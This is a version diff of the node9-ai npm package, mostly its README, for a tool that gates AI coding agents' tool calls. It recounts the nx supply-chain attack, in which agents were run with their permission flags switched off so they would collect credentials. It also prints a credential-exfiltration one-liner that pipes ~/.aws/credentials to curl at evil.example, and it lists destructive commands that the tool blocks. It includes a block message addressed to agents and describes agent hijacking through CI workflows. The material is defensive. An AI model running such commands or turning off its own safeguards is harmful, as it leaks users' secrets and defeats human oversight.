node9-ai 2.15.0 โ†’ 2.16.1

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  1. package/README.md +158 -92
  2. package/package.json +29 -10
package/README.md CHANGED
@@ -1,27 +1,81 @@
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- <h1 align="center">๐Ÿ›ก๏ธ Node9</h1>
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- <p align="center"><strong>What did your AI agent actually do? Find out.</strong></p>
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+ <h1 align="center">๐Ÿ›ก๏ธ node9</h1>
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+ <p align="center">IAM for your AI agents</p>
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+ <p align="center"><strong>Your AI agents can reach Slack, GitHub, email, and your database.<br />node9 decides what they may do with each one.</strong></p>
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  <p align="center">
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  <a href="https://www.npmjs.com/package/node9-ai"><img src="https://img.shields.io/npm/v/node9-ai.svg" alt="npm version" /></a>
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  <a href="https://www.npmjs.com/package/node9-ai"><img src="https://img.shields.io/npm/dm/node9-ai.svg" alt="monthly downloads" /></a>
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  <a href="https://opensource.org/licenses/Apache-2.0"><img src="https://img.shields.io/badge/License-Apache%202.0-blue.svg" alt="License: Apache 2.0" /></a>
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  <a href="https://node9.ai/docs"><img src="https://img.shields.io/badge/docs-node9.ai-blue" alt="Documentation" /></a>
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  <a href="https://www.bestpractices.dev/projects/14454"><img src="https://www.bestpractices.dev/projects/14454/badge" alt="OpenSSF Best Practices" /></a>
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+ <a href="https://scorecard.dev/viewer/?uri=github.com/node9-ai/node9-proxy"><img src="https://api.scorecard.dev/projects/github.com/node9-ai/node9-proxy/badge" alt="OpenSSF Scorecard" /></a>
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  <a href="https://github.com/node9-ai/node9-proxy/blob/main/.github/workflows/agent-security.yml"><img src="https://img.shields.io/badge/node9-self--scanned-a855f7?style=flat&labelColor=%231A1A2E&logo=" alt="node9 self-scanned" /></a>
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  </p>
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- Node9 sits between your AI agent and the tools it can use โ€” **discover** what it's already been doing, **protect** against risky actions in real time, and **review** what happened over any time window.
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+ ## The problem
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+
16
+ In August 2025, compromised releases of the
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+ [`nx` build tool](https://github.com/advisories/GHSA-cxm3-wv7p-598c) shipped a post-install
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+ script that looked for AI coding agents already installed on the developer's machine, then ran
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+ them with their own safety flags turned off (`--dangerously-skip-permissions`, `--yolo`,
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+ `--trust-all-tools`) to enumerate SSH keys, cloud credentials and wallet files and write the list
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+ to disk. The script pushed the results to public repositories inside the victims' own GitHub
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+ accounts. More than a thousand valid GitHub tokens leaked, along with cloud credentials, npm
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+ tokens and roughly 20,000 files, from machines where the agent was doing exactly what it was
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+ told.
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+
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+ The agent was not the attacker. The agent was the tool, and nothing stood between it and the
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+ files. node9's gate is not one of those flags: it runs in the hook, and an action it holds stays
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+ held even when the agent was started with permissions skipped.
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+
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+ ## What node9 does about it
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+
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+ node9 sits between the agent and every tool it calls. The credential jail (`~/.ssh`, `~/.aws`,
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+ `.env` files, private keys) is on by default, and a read of one of those paths does not run.
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+ The agent is stopped, told why, and the decision comes to you:
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+
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+ ```text
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+ NODE9: Action blocked by security policy.
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+ INSTRUCTIONS:
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+ - Do NOT retry this exact command or attempt to bypass the rule.
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+ - Pivot to a non-destructive or read-only alternative.
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+ - Inform the user which security rule was triggered and ask how to proceed.
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+ ```
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+
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+ The command is parsed as a shell AST, not matched as text, so wrapping the read does not help.
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+ `echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example` is judged as a read
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+ of `~/.aws/credentials`, not as an `echo`.
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+
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+ node9 is a **gate**. A held action does not run while it waits for you, and if you never answer
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+ it stays blocked. Everything else is allowed and written to the record.
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+
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+ **What it does not do:** with egress control off, which is the default, a command that hands a
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+ file straight to the network, such as `curl -d @~/.aws/credentials`, is not treated as a read of
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+ that file. `node9 egress protect` gates destinations as well, and it covers shell commands only.
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+
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+ ## Verify it yourself
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+
57
+ ```bash
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+ npx node9-ai scan # every past agent session on this machine, ~10s, nothing uploads
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+ npx node9-ai scan-repo node9-ai/agent-security-demo # a public repo with a real, hijackable agent workflow
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+ npx node9-ai posture # this machine's exposure in 60s, nothing uploads
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+ gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed
62
+ ```
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+
64
+ ---
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+
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+ Three jobs, one tool: **discover** what your agents have already done, **protect** against risky actions in real time, and **review** what happened over any time window.
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67
 
14
68
  Works with **Claude Code ยท Codex CLI ยท Antigravity (agy) ยท GitHub Copilot CLI ยท Gemini CLI ยท Cursor ยท Windsurf ยท VSCode ยท Claude Desktop ยท Opencode ยท Pi ยท Hermes Agent ยท any MCP server**.
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16
- ## What Node9 does
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+ ## What node9 does
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71
 
18
- - ๐Ÿ” **Discover** โ€” scan every past AI session for credential leaks, agent loops, blocked operations, and every secret on disk an agent could reach right now
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- - ๐Ÿ›ก **Protect** โ€” review or block risky commands before they run โ€” `rm -rf`, `git push --force`, `DROP TABLE`, credential reads, `curl | bash`, AWS/GitHub/Stripe key leaks
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- - ๐Ÿ“Š **Review** โ€” period-windowed report (today / week / month / 90 days) โ€” cost per agent, top tools, shields fired, blast radius
72
+ - ๐Ÿ” **Discover**: scan every past AI session for credential leaks, agent loops, blocked operations, and every secret on disk an agent could reach right now
73
+ - ๐Ÿ›ก **Protect**: review or block risky commands before they run, such as `rm -rf`, `git push --force`, `DROP TABLE`, credential reads, `curl | bash`, and AWS/GitHub/Stripe key leaks
74
+ - ๐Ÿ“Š **Review**: a period-windowed report (today / week / month / 90 days) of cost per agent, top tools, shields fired, and blast radius
21
75
 
22
76
  ## Retrospective scan
23
77
 
24
- This is my own machine โ€” 90 days while building Node9. Score 25/100, 5 credential files an AI agent could reach right now.
78
+ This is my own machine, 90 days while building node9. Score 25/100, 5 credential files an AI agent could reach right now.
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79
 
26
80
  ```bash
27
81
  npx node9-ai scan # before installation, runs in ~10s, nothing uploads
@@ -29,19 +83,19 @@ node9 scan # after installation, same output
29
83
  ```
30
84
 
31
85
  <p align="center">
32
- <img src="https://github.com/user-attachments/assets/7c5b30f1-1ca1-40b4-bfd5-d6671002e98e" width="720" alt="Node9 scan scorecard" />
86
+ <img src="https://github.com/user-attachments/assets/7c5b30f1-1ca1-40b4-bfd5-d6671002e98e" width="720" alt="node9 scan scorecard" />
33
87
  </p>
34
88
 
35
89
  ## Security posture scorecard
36
90
 
37
- `node9 posture` grades how exposed this machine is to a compromised agent โ€” isolation, egress, secrets on disk, supply chain, privilege โ€” and hands you the exact command to fix each finding.
91
+ `node9 posture` grades how exposed this machine is to a compromised agent across isolation, egress, secrets on disk, supply chain, and privilege, and hands you the exact command to fix each finding.
38
92
 
39
93
  ```bash
40
94
  node9 posture # scorecard with the #1 risk and a fix for every finding
41
95
  node9 posture --ship # send a redacted snapshot to your node9 dashboard (fleet view)
42
96
  ```
43
97
 
44
- Findings are grouped by **who can fix them**: ๐Ÿ”’ the ones node9 reduces (just run the command) and ๐Ÿงฑ the ones only you can. Each carries a plain-language what / why / who and a real remediation โ€” e.g. the "agent runs unsandboxed on the host" finding points straight at `node9 sandbox run` (below).
98
+ Findings are grouped by **who can fix them**: ๐Ÿ”’ the ones node9 reduces (just run the command) and ๐Ÿงฑ the ones only you can. Each carries a plain-language what / why / who and a real remediation. For example, the "agent runs unsandboxed on the host" finding points straight at `node9 sandbox run` (below).
45
99
 
46
100
  ```text
47
101
  ๐Ÿ›ก๏ธ Node9 Posture โ€” agent on this host Score: 100/100 (Good)
@@ -69,13 +123,13 @@ Findings are grouped by **who can fix them**: ๐Ÿ”’ the ones node9 reduces (just
69
123
  Track this across your fleet & keep it green โ†’ node9.ai
70
124
  ```
71
125
 
72
- ## Scan a repo โ€” agent-CI security
126
+ ## Scan a repo: agent-CI security
73
127
 
74
- `node9 scan-repo` checks any repo (or a local folder) for ways an AI agent wired into GitHub Actions could be **hijacked by an outsider** โ€” injectable workflows, agent-reachable secrets, unpinned MCP servers, over-broad agent config, and poisoned instruction files. Static and parse-only: it reads only committed config, never executes repo code. No install or token needed for public repos.
128
+ `node9 scan-repo` checks any repo (or a local folder) for ways an AI agent wired into GitHub Actions could be **hijacked by an outsider**: injectable workflows, agent-reachable secrets, unpinned MCP servers, over-broad agent config, and poisoned instruction files. Static and parse-only: it reads only committed config, never executes repo code. No install or token needed for public repos.
75
129
 
76
130
  ```bash
77
131
  npx node9-ai scan-repo <owner/repo> # any public repo, no install
78
- node9 scan-repo . # a local checkout โ€” no network
132
+ node9 scan-repo . # a local checkout, no network
79
133
  node9 scan-repo <owner/repo> --json # machine-readable
80
134
  ```
81
135
 
@@ -100,12 +154,12 @@ What it checks:
100
154
  | Check | Flags |
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155
  | -------- | -------------------------------------------------------------------------------- |
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156
  | **CI-1** | committed agent config that pre-authorizes broad tools or runs remote hooks |
103
- | **CI-2** | injectable agent workflows โ€” an outsider can trigger the agent and hijack it |
157
+ | **CI-2** | injectable agent workflows: an outsider can trigger the agent and hijack it |
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158
  | **CI-3** | unpinned / `@latest` MCP servers or inline credentials (supply chain) |
105
159
  | **CI-4** | secrets an injected agent could exfiltrate |
106
160
  | **CI-6** | poisoned or dangerous instructions in `CLAUDE.md` / `AGENTS.md` / `.cursorrules` |
107
161
 
108
- **Gate every PR** โ€” the same engine as a GitHub Action, so a hijackable config can't get merged:
162
+ **Gate every PR.** The same engine runs as a GitHub Action, so a hijackable config can't get merged:
109
163
 
110
164
  ```yaml
111
165
  # .github/workflows/agent-security.yml
@@ -127,20 +181,20 @@ Running it? Add the **[`scanned by node9` badge](https://node9.ai/docs/badges)**
127
181
  ## Live monitoring
128
182
 
129
183
  <p align="center">
130
- <img src="https://github.com/user-attachments/assets/4661da97-c174-4bae-ae54-4c52a1d69213" width="720" alt="Node9 monitor dashboard" />
184
+ <img src="https://github.com/user-attachments/assets/4661da97-c174-4bae-ae54-4c52a1d69213" width="720" alt="node9 monitor dashboard" />
131
185
  </p>
132
186
 
133
187
  `node9 monitor` opens an interactive terminal dashboard with two views:
134
188
 
135
- - **`[1]` Realtime** โ€” live activity, approvals, security alerts, current risk score
136
- - **`[2]` Report** โ€” period-windowed summary: cost, top tools, shields fired, blast radius
189
+ - **`[1]` Realtime**: live activity, approvals, security alerts, current risk score
190
+ - **`[2]` Report**: period-windowed summary of cost, top tools, shields fired, blast radius
137
191
 
138
192
  ## Report
139
193
 
140
- Press `[2]` in monitor for a period-windowed summary. Toggle the window with `[T]oday` ยท `[W]eek` ยท `[M]onth` ยท `[N]inety` โ€” same panels as the scan above, driven by your post-install audit log.
194
+ Press `[2]` in monitor for a period-windowed summary. Toggle the window with `[T]oday` ยท `[W]eek` ยท `[M]onth` ยท `[N]inety`. Same panels as the scan above, driven by your post-install audit log.
141
195
 
142
196
  <p align="center">
143
- <img src="https://github.com/user-attachments/assets/66c02a72-e477-443d-807f-d65a21d096cd" width="720" alt="Node9 monitor [2] Report" />
197
+ <img src="https://github.com/user-attachments/assets/66c02a72-e477-443d-807f-d65a21d096cd" width="720" alt="node9 monitor [2] Report" />
144
198
  </p>
145
199
 
146
200
  ```bash
@@ -178,42 +232,39 @@ Mission Control, so the dashboard stays empty.
178
232
  `node9 logout` disconnects a machine again. It revokes that machine's key;
179
233
  local enforcement keeps running.
180
234
 
181
- ## Shields โ€” curated rule packs
235
+ ## Shields and apps
182
236
 
183
- Each shield is a curated rule set for a service or domain. Enable only what you need.
237
+ A **shield** is a curated rule pack for a service an agent touches: Postgres, MongoDB, Redis,
238
+ AWS, Kubernetes, Docker, GitHub, the shell, the filesystem, and the credential jail. Three of
239
+ them, `project-jail`, `bash-safe` and `filesystem`, are on after `node9 init`. The rest you
240
+ enable per service. Each shield mixes hard blocks with actions that come to you for review, and
241
+ the docs say which is which, rule by rule.
184
242
 
185
- | Shield | What it catches | Enable |
186
- | ----------------- | ------------------------------------------------------------------------------ | ------------------------------------- |
187
- | `project-jail` | Blocks reads of `~/.ssh`, `~/.aws`, `.env`, credentials via Bash and Read tool | `node9 shield enable project-jail` |
188
- | `bash-safe` | `curl \| bash`, `rm -rf /`, disk overwrite, `eval` of remote | `node9 shield enable bash-safe` |
189
- | `postgres` | `DROP TABLE`, `TRUNCATE`, `DROP COLUMN`, `DELETE` without `WHERE` | `node9 shield enable postgres` |
190
- | `mongodb` | `dropDatabase`, `drop()`, `deleteMany({})`, index drops | `node9 shield enable mongodb` |
191
- | `redis` | `FLUSHALL`, `FLUSHDB`, `CONFIG SET` on a live server | `node9 shield enable redis` |
192
- | `aws` | S3 delete, EC2 terminate, IAM changes, RDS destroy | `node9 shield enable aws` |
193
- | `k8s` | namespace delete, `helm uninstall`, cluster role wipes | `node9 shield enable k8s` |
194
- | `docker` | `system prune`, `volume prune`, `rm -f` containers | `node9 shield enable docker` |
195
- | `github` | `gh repo delete`, remote branch deletion, settings changes | `node9 shield enable github` |
196
- | `filesystem` | `chmod 777`, writes under `/etc/`, `/boot/`, `/usr/` | `node9 shield enable filesystem` |
197
- | `mcp-tool-gating` | unapproved MCP tools silently activating new capabilities | `node9 shield enable mcp-tool-gating` |
243
+ Any **MCP app** your agents use, Gmail, Slack, your database, is governed tool by tool from the
244
+ Apps page in the dashboard: which tools an agent may call, which need review, which are off.
198
245
 
199
246
  ```bash
200
- node9 shield list # show all shields + status
247
+ node9 shield list # every shield and its status
248
+ node9 shield enable postgres # or enable it fleet-wide from the dashboard
201
249
  ```
202
250
 
203
- ## Always on โ€” no config needed
251
+ The full list, with what each shield blocks and what it sends to review:
252
+ **[node9.ai/docs/shields](https://node9.ai/docs/shields)**.
253
+
254
+ ## Always on, no config needed
204
255
 
205
- - **Git** โ€” catches `git push --force`, `git reset --hard`, `git clean -fd`
206
- - **SQL** โ€” catches `DELETE` / `UPDATE` without `WHERE`, `DROP TABLE`, `TRUNCATE`
207
- - **Shell** โ€” catches `curl | bash`, unauthorized `sudo`
208
- - **DLP** โ€” flags AWS keys, GitHub tokens, Stripe keys, PEM private keys in any tool argument, file contents, or shell config (`~/.zshrc`, `~/.bashrc`)
209
- - **Response DLP** โ€” background scanner reads Claude's conversation history and alerts you if Claude _wrote_ a secret in its response text
210
- - **Skills pinning** โ€” SHA-256 verification of installed Claude skills / plugins between sessions
256
+ - **Git**: catches `git push --force`, `git reset --hard`, `git clean -fd`
257
+ - **SQL**: catches `DELETE` / `UPDATE` without `WHERE`, `DROP TABLE`, `TRUNCATE`
258
+ - **Shell**: catches `curl | bash`, unauthorized `sudo`
259
+ - **DLP**: flags AWS keys, GitHub tokens, Stripe keys, PEM private keys in any tool argument, file contents, or shell config (`~/.zshrc`, `~/.bashrc`)
260
+ - **Response DLP**: a background scanner reads Claude's conversation history and alerts you if Claude _wrote_ a secret in its response text
261
+ - **Skills pinning**: SHA-256 verification of installed Claude skills / plugins between sessions
211
262
 
212
- ## Review prompts โ€” approve inline, in your agent
263
+ ## Review prompts: approve inline, in your agent
213
264
 
214
- When node9 flags an action for **review** (e.g. `git push --force`, a `DROP TABLE`), the approve/deny prompt renders **inline in the agent conversation** โ€” no frozen session, no separate terminal, no hook-timeout race. node9 still runs the full evaluator and makes the decision; only the prompt _surface_ moves to the agent.
265
+ When node9 flags an action for **review** (e.g. `git push --force`, a `DROP TABLE`), the approve/deny prompt renders **inline in the agent conversation**: no frozen session, no separate terminal, no hook-timeout race. node9 still runs the full evaluator and makes the decision; only the prompt _surface_ moves to the agent.
215
266
 
216
- - **On by default** for **Claude Code** and **GitHub Copilot CLI** โ€” the agents whose hook contract honors a native `ask`. Every other agent (Codex, Gemini, Antigravity, Hermes, Cursor, OpenCode, Pi) uses node9's own approver.
267
+ - **On by default** for **Claude Code** and **GitHub Copilot CLI**, the agents whose hook contract honors a native `ask`. Every other agent (Codex, Gemini, Antigravity, Hermes, Cursor, OpenCode, Pi) uses node9's own approver.
217
268
  - **Control it** with `reviewChannel` in `~/.node9/config.json` (or `--no-ask` on the hook):
218
269
 
219
270
  ```jsonc
@@ -224,28 +275,28 @@ When node9 flags an action for **review** (e.g. `git push --force`, a `DROP TABL
224
275
  }
225
276
  ```
226
277
 
227
- - **Team setups:** when a cloud/team approver is configured (`approvers.cloud: true`), reviews route to that approver instead โ€” node9 won't let an inline self-approval bypass routed/second-party approval.
278
+ - **Team setups:** when a cloud/team approver is configured (`approvers.cloud: true`), reviews route to that approver instead. node9 won't let an inline self-approval bypass routed/second-party approval.
228
279
 
229
- ## Sandbox โ€” run an agent in a jail
280
+ ## Sandbox: run an agent in a jail
230
281
 
231
- When watching isn't enough, **`node9 sandbox`** runs the agent inside a disposable container with a **kernel-enforced egress allowlist** and **scoped mounts** โ€” while node9's hooks govern and audit every tool call _inside_ the box. The hard version of protection: the agent can only touch the folder you mount and reach the hosts you allow; everything else is dropped at the kernel.
282
+ When watching isn't enough, **`node9 sandbox`** runs the agent inside a disposable container with a **kernel-enforced egress allowlist** and **scoped mounts**, while node9's hooks govern and audit every tool call _inside_ the box. The hard version of protection: the agent can only touch the folder you mount and reach the hosts you allow; everything else is dropped at the kernel.
232
283
 
233
284
  ```bash
234
285
  cd ~/my-project
235
- node9 sandbox new # write node9.sandbox.yaml โ€” what to mount + which hosts to allow
286
+ node9 sandbox new # write node9.sandbox.yaml: what to mount + which hosts to allow
236
287
  node9 sandbox run # build + boot the jailed agent (your project at /workspace)
237
288
  node9 sandbox tail # watch the agent's actions live, from the host
238
289
  ```
239
290
 
240
- - **Disposable** โ€” the container is destroyed on exit; your project edits land on your real disk, nothing else survives.
241
- - **Same policy** โ€” your existing shields / egress rules / approvals apply inside the box, streamed to the same audit log and dashboard.
242
- - **Closes the posture loop** โ€” running it flips the Isolation / Egress findings green.
291
+ - **Disposable**: the container is destroyed on exit; your project edits land on your real disk, nothing else survives.
292
+ - **Same policy**: your existing shields / egress rules / approvals apply inside the box, streamed to the same audit log and dashboard.
293
+ - **Closes the posture loop**: running it flips the Isolation / Egress findings green.
243
294
 
244
- Honest scope (Phase 1): single container, **Claude first** (Codex next); the agent still holds its _own_ credentials in the box (the egress wall confines them to the allowed hosts) โ€” _"the agent never holds a secret"_ is the credential-broker phase on the roadmap. Requires Docker.
295
+ Honest scope (Phase 1): single container, **Claude first** (Codex next); the agent still holds its _own_ credentials in the box (the kernel egress allowlist confines them to the allowed hosts). _"The agent never holds a secret"_ is the credential-broker phase on the roadmap. Requires Docker.
245
296
 
246
297
  ## MCP gateway
247
298
 
248
- Wrap any MCP server transparently. The agent sees the same server โ€” Node9 intercepts every tool call.
299
+ Wrap any MCP server transparently. The agent sees the same server. node9 intercepts every tool call.
249
300
 
250
301
  ```json
251
302
  {
@@ -258,18 +309,18 @@ Wrap any MCP server transparently. The agent sees the same server โ€” Node9 inte
258
309
  }
259
310
  ```
260
311
 
261
- Or just run `node9 init` โ€” it wraps your existing MCP servers automatically.
312
+ Or just run `node9 init`, which wraps your existing MCP servers automatically.
262
313
 
263
314
  <details>
264
- <summary><strong>๐Ÿ” MCP tool pinning โ€” rug-pull defense</strong></summary>
315
+ <summary><strong>๐Ÿ” MCP tool pinning: rug-pull defense</strong></summary>
265
316
 
266
- MCP servers can change their tool definitions between sessions. A compromised or malicious server could silently add, remove, or modify tools after you first trusted it โ€” a **rug pull** attack.
317
+ MCP servers can change their tool definitions between sessions. A compromised or malicious server could silently add, remove, or modify tools after you first trusted it, a **rug pull** attack.
267
318
 
268
- Node9 pins tool definitions on first use:
319
+ node9 pins tool definitions on first use:
269
320
 
270
- 1. **First connection** โ€” gateway records a SHA-256 hash of every tool's name, description, and schema
271
- 2. **Subsequent connections** โ€” hash is compared; if tools changed, the session is **quarantined** and every tool call is blocked until a human reviews and approves the change
272
- 3. **Corrupt pin state** โ€” fails closed (blocks), never silently re-trusts
321
+ 1. **First connection**: the gateway records a SHA-256 hash of every tool's name, description, and schema
322
+ 2. **Subsequent connections**: the hash is compared; if tools changed, the session is **quarantined** and every tool call is blocked until a human reviews and approves the change
323
+ 3. **Corrupt pin state**: fails closed (blocks), never silently re-trusts
273
324
 
274
325
  ```bash
275
326
  node9 mcp pin list # show all pinned servers and hashes
@@ -283,13 +334,13 @@ node9 mcp pin reset # clear all pins
283
334
 
284
335
  Beyond the three flow commands above (`scan` / `monitor` / `report`):
285
336
 
286
- | Command | What it shows | When to use |
287
- | ---------------- | --------------------------------------------------------- | --------------------------------------- |
288
- | `node9 blast` | What an AI agent can reach right now โ€” files, creds, env | First thing to run on any machine |
289
- | `node9 tail` | Live stream of every tool call (text-only, no TUI) | Piping into other tools, CI, logs |
290
- | `node9 sessions` | Session history with prompt, tool trace, and cost | Reviewing a handoff or past work |
291
- | `node9 dlp` | Credential-leak findings in Claude response text | Any time a DLP desktop alert fires |
292
- | `node9 mask` | Redact plaintext secrets from local session history files | After a DLP finding โ€” cleans local disk |
337
+ | Command | What it shows | When to use |
338
+ | ---------------- | --------------------------------------------------------- | -------------------------------------- |
339
+ | `node9 blast` | What an AI agent can reach right now: files, creds, env | First thing to run on any machine |
340
+ | `node9 tail` | Live stream of every tool call (text-only, no TUI) | Piping into other tools, CI, logs |
341
+ | `node9 sessions` | Session history with prompt, tool trace, and cost | Reviewing a handoff or past work |
342
+ | `node9 dlp` | Credential-leak findings in Claude response text | Any time a DLP desktop alert fires |
343
+ | `node9 mask` | Redact plaintext secrets from local session history files | After a DLP finding, cleans local disk |
293
344
 
294
345
  Plus a **live HUD** in your Claude Code statusline:
295
346
 
@@ -299,25 +350,25 @@ Plus a **live HUD** in your Claude Code statusline:
299
350
  ๐Ÿ—‚ 2 CLAUDE.md | 8 rules | 3 MCPs | 4 hooks
300
351
  ```
301
352
 
302
- ## Reading the data โ€” what the numbers mean
353
+ ## Reading the data: what the numbers mean
303
354
 
304
- Node9 surfaces the signal. Here are the patterns worth knowing:
355
+ node9 surfaces the signal. Here are the patterns worth knowing:
305
356
 
306
- | Signal | Likely meaning |
307
- | ---------------------------------------------- | -------------------------------------------------------------------------------------------------- |
308
- | `Would have blocked` โ‰ฅ 5 in a week | Agent is attempting high-impact ops; shields are worth reviewing |
309
- | Single `review-git-push` rule >50% of findings | Your own rule is firing as intended โ€” not a risk, just supervision |
310
- | DLP finding in `user-prompt` tool | You pasted a secret into your own prompt โ€” rotate the key |
311
- | Agent Loop ร—50+ on same file | Agent stuck in edit/test/fix cycle โ€” check context or slow down |
312
- | MCP tool pin mismatch | Server changed its tools โ€” review before re-trusting |
313
- | Large MCP response warning | That server is inflating your context window for every subsequent turn |
314
- | `Response DLP` alert | Claude wrote a secret in its response text โ€” not blocked, rotate immediately |
315
- | DLP finding in `tool-result` | Claude read a file containing a secret (`.env`, credentials) โ€” rotate the key and run `node9 mask` |
316
- | DLP finding in `[Shell]` | Plaintext secret in `~/.zshrc` or `~/.bashrc` โ€” every AI session can see it |
357
+ | Signal | Likely meaning |
358
+ | ---------------------------------------------- | ------------------------------------------------------------------------------------------------- |
359
+ | `Would have blocked` โ‰ฅ 5 in a week | Agent is attempting high-impact ops; shields are worth reviewing |
360
+ | Single `review-git-push` rule >50% of findings | Your own rule is firing as intended: not a risk, just supervision |
361
+ | DLP finding in `user-prompt` tool | You pasted a secret into your own prompt. Rotate the key |
362
+ | Agent Loop ร—50+ on same file | Agent stuck in an edit/test/fix cycle. Check context or slow down |
363
+ | MCP tool pin mismatch | Server changed its tools. Review before re-trusting |
364
+ | Large MCP response warning | That server is inflating your context window for every subsequent turn |
365
+ | `Response DLP` alert | Claude wrote a secret in its response text. Not blocked, rotate immediately |
366
+ | DLP finding in `tool-result` | Claude read a file containing a secret (`.env`, credentials). Rotate the key and run `node9 mask` |
367
+ | DLP finding in `[Shell]` | Plaintext secret in `~/.zshrc` or `~/.bashrc`. Every AI session can see it |
317
368
 
318
369
  One-off signals are normal; persistent patterns are what you act on.
319
370
 
320
- ## Python SDK โ€” govern any Python agent
371
+ ## Python SDK: govern any Python agent
321
372
 
322
373
  ```python
323
374
  from node9 import configure, protect
@@ -329,28 +380,43 @@ def run_command(cmd: str) -> str:
329
380
  ...
330
381
  ```
331
382
 
332
- **[Python SDK โ†’](https://github.com/node9-ai/node9-python)** ยท **[CI code review agent example โ†’](https://github.com/node9-ai/node9-pr-agent)**
383
+ **[Python SDK โ†’](https://github.com/node9-ai/node9-python)** ยท **[GitHub Action โ†’](https://github.com/marketplace/actions/node9-agent-security)**
333
384
 
334
385
  ## Under the hood
335
386
 
336
- - **Scan** reads raw agent history from `~/.claude/projects/`, `~/.gemini/tmp/`, `~/.gemini/antigravity-*/brain/`, `~/.copilot/session-state/`, `~/.codex/sessions/` โ€” no API calls, fully offline
387
+ - **Scan** reads raw agent history from `~/.claude/projects/`, `~/.gemini/tmp/`, `~/.gemini/antigravity-*/brain/`, `~/.copilot/session-state/`, `~/.codex/sessions/`. No API calls, fully offline
337
388
  - **Runtime** intercepts tool calls via pre-execution hooks (Claude Code, Codex, Antigravity, GitHub Copilot CLI, Gemini CLI, Opencode, Pi) or via the MCP gateway (Cursor, Windsurf, VSCode, Claude Desktop). All decisions land in `~/.node9/audit.log` atomically.
338
389
  - **MCP gateway** is a stdio proxy; intercepts `tools/list` + `tools/call` JSON-RPC, forwards the rest
339
- - **Policy engine** uses [mvdan-sh](https://github.com/mvdan/sh) for bash AST analysis โ€” defeats obfuscation via backslash escaping, variable substitution, eval of remote download
340
- - **Sandbox** generates a Dockerfile + entrypoint that seal an `ipset`/`iptables` deny-by-default egress wall, then drop to a non-root agent with node9's daemon + hooks running inside; only the agent's credential file is mounted, never your whole `~/.claude`
390
+ - **Policy engine** uses [mvdan-sh](https://github.com/mvdan/sh) for bash AST analysis, which defeats obfuscation via backslash escaping, variable substitution, eval of remote download
391
+ - **Sandbox** generates a Dockerfile + entrypoint that seal an `ipset`/`iptables` deny-by-default egress allowlist, then drop to a non-root agent with node9's daemon + hooks running inside; only the agent's credential file is mounted, never your whole `~/.claude`
392
+
393
+ ## Learn
394
+
395
+ Background reading, written to stand on its own. Each page says what node9 does not cover.
396
+
397
+ - **[What can a hijacked agent do?](https://node9.ai/learn/what-can-a-hijacked-agent-do)**: the blast radius of one compromised session
398
+ - **[How an AI agent leaks a secret](https://node9.ai/learn/ai-agent-secret-exfiltration)**: the paths a credential actually takes out
399
+ - **[Claude Code security](https://node9.ai/learn/claude-code-security)**: hooks, permission modes, and what they do not stop
400
+ - **[MCP security](https://node9.ai/learn/mcp-security)**: the tool surface an MCP server opens
401
+ - **[OWASP Agentic Top 10](https://node9.ai/learn/owasp-agentic-top-10)**: the list, mapped to real controls
402
+
403
+ ## Compare
404
+
405
+ - **[node9 against the alternatives](https://node9.ai/compare)**: a matrix, including the rows where node9 scores worse
406
+ - **[Per-agent coverage](https://node9.ai/agents)**: what is governed on each of the twelve supported agents
341
407
 
342
408
  ## Full docs
343
409
 
344
- Config reference, smart rules, stateful rules, trusted hosts, approval modes, CLI reference โ€” at **[node9.ai/docs](https://node9.ai/docs)**.
410
+ Config reference, smart rules, stateful rules, trusted hosts, approval modes, CLI reference, at **[node9.ai/docs](https://node9.ai/docs)**.
345
411
 
346
412
  ## Related projects
347
413
 
348
- - **[node9-python](https://github.com/node9-ai/node9-python)** โ€” Python SDK
349
- - **[node9-pr-agent](https://github.com/node9-ai/node9-pr-agent)** โ€” GitHub Action that reviews PRs through Node9
414
+ - **[node9-python](https://github.com/node9-ai/node9-python)**: Python SDK
415
+ - **[node9 Agent Security](https://github.com/marketplace/actions/node9-agent-security)**: the GitHub Action, `uses: node9-ai/node9-proxy@v2`, gates every PR with the same engine
350
416
 
351
417
  ## Enterprise
352
418
 
353
- **Node9 Pro** adds governance locking, SAML/SSO, central audit export, and VPC deployment. See [node9.ai](https://node9.ai).
419
+ **node9 Pro** adds governance locking, SAML/SSO, central audit export, and VPC deployment. See [node9.ai](https://node9.ai).
354
420
 
355
421
  ## License
356
422
 
package/package.json CHANGED
@@ -1,15 +1,34 @@
1
1
  {
2
2
  "name": "node9-ai",
3
- "version": "2.15.0",
4
- "description": "Security layer for AI coding agents โ€” intercepts dangerous tool calls before they execute",
3
+ "version": "2.16.1",
4
+ "description": "IAM for your AI agents. Set what Claude Code, Codex, Gemini, Cursor and any MCP server are allowed to do, review risky actions before they run, and keep every action on the record.",
5
5
  "keywords": [
6
- "ai",
7
- "security",
8
- "claude",
9
- "claude-code",
6
+ "ai-security",
7
+ "agent-security",
8
+ "agentic-ai",
9
+ "ai-agent",
10
+ "iam",
11
+ "agent-permissions",
10
12
  "mcp",
11
- "agent",
12
- "guardrails"
13
+ "mcp-security",
14
+ "mcp-proxy",
15
+ "claude-code",
16
+ "claude-desktop",
17
+ "codex",
18
+ "gemini-cli",
19
+ "copilot-cli",
20
+ "cursor",
21
+ "windsurf",
22
+ "vscode",
23
+ "opencode",
24
+ "pi-agent",
25
+ "hermes-agent",
26
+ "antigravity",
27
+ "security-proxy",
28
+ "dlp",
29
+ "prompt-injection",
30
+ "human-in-the-loop",
31
+ "hitl"
13
32
  ],
14
33
  "homepage": "https://node9.ai",
15
34
  "repository": {
@@ -25,10 +44,10 @@
25
44
  "node9-ai": "bin/node9.js"
26
45
  },
27
46
  "dependencies": {
28
- "@node9/proxy": "2.15.0"
47
+ "@node9/proxy": "2.16.1"
29
48
  },
30
49
  "type": "module",
31
50
  "engines": {
32
- "node": ">=18"
51
+ "node": ">=22"
33
52
  }
34
53
  }